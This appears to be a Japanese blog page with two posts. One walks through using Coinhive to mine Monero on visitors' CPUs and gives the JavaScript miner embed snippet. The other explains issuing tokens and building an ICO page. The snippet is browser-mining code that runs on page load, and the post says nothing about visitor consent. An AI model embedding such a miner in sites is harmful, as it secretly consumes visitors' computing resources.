閲覧者のCPUパワーで仮想通貨マイニングしてみた | Coinhive で XMR マイニング
あらすじ
トレントサイトが、訪問者のCPUを使って仮想通貨マイニングをするという事件が起こった。
一体どんなトリックを…と調べたところ
どうやらjsで簡単にできてしまうようだ。
なんと恐ろしい。
というわけで、いつもの調子でやってみたログを残す。
Coinhiveのアカウント作成
Coinhiveのサイトからサインアップする。
coin-hive.com
メールとパスワードを登録すると、認証メールが届くので確認する。
ペイメント設定をする。
MyMoneroのウォレットが必要。
MyMoneroでウォレット作成
MyMoneroでウォレット作成。
Create an accountを押す。
Your Private Login Key をメモ帳に保存する。
そしてConfirm your Private Login Keyにコピペし、ログイン。
出て来たアドレスをコピーし、CoinhiveのMonero Payment Addressにペーストする。
Script取得
Coinhiveのトップページにある下記ソースをコピる。
<script src="https://coin-hive.com/lib/coinhive.min.js"></script> <script> var miner = new CoinHive.User('<site-key>', 'john-doe'); miner.start(); </script>
site-keyを先ほどのSite Key (Public)に置き換える。
ICOしてみた | 自分がやる場合の技術的な話【最終回】
BTCのトークン発行
トークンは独自通貨のことである。BTCやETH等のブロックチェーンに独自通貨を乗せる形になる。
BTCの場合は、CounterwalletにBTCとXCPを送金すればすぐできる。日本語記事も結構あるのでご参照。
Counterwallet - Free Web Wallet for Bitcoin and Counterparty
ETHのトークン発行
ETHの方が一つのウォレットで様々なトークンを保存できるので好まれる。
Why do ICO s choose ETH rather than BTC? - Coin Noob
Walletから発行するのが正攻法なのかもしれないが
Create a cryptocurrency contract in Ethereum
Walletはノードを全てダウンロードしなければならないので、METAMASKとToken factoryを使う。
Token factoryでトークン発行
下記ページのCreate Token Contractを選んで、必要項目を入れ、Create Tokenを押す。
Token Factory
MetaMaskが立ち上がるので、Acceptを押す。コントラクトが作成される。
Token factoryで入力した情報が反映されている。
スマートコントラクト改変
例によって、既存のコントラクトから学ぶ。
トークン"RvT"
コマンドラインから
正攻法は↓らしい。
www.ethereum.org
時間がかかりそうなのでMyEtherWalletからやる↓
MyEtherWalletから
SourceからByteCodeへの変換
↓Remixを使う。
Remix - Solidity IDE
右側のメニューにある、Contract details (bytecode, interface etc.)をクリックするとSourceをByteCodeに変換したものが出てくる。
ICOページの作成
下記項目を記したページを作成する。
メールアドレスを入力させ、会員登録をするのが一般的のよう。
ETHに載せられるDataやGasの量も明記する。
それっぽいjsカウンターとか持ってきて、作ってみた。
influencer.link
これも既存のICOページを色々見てみるのが一番の近道。
法的な話
改正資金決済法により、登録事業者以外の仮想通貨の売買は規制されている。
business.bengo4.com
規制はされているが、グレーゾーンで、実際やったらどうなるか分からないというのが一般的見解だったが
ALISが入念に調べまくって突っ走った事例があるので、ICOされたい方は必読である。
medium.com
その後の調べによると、どうやら仮想通貨をトークンと交換するだけでは資金決済法に抵触しないという見解が一般的になっているようだ。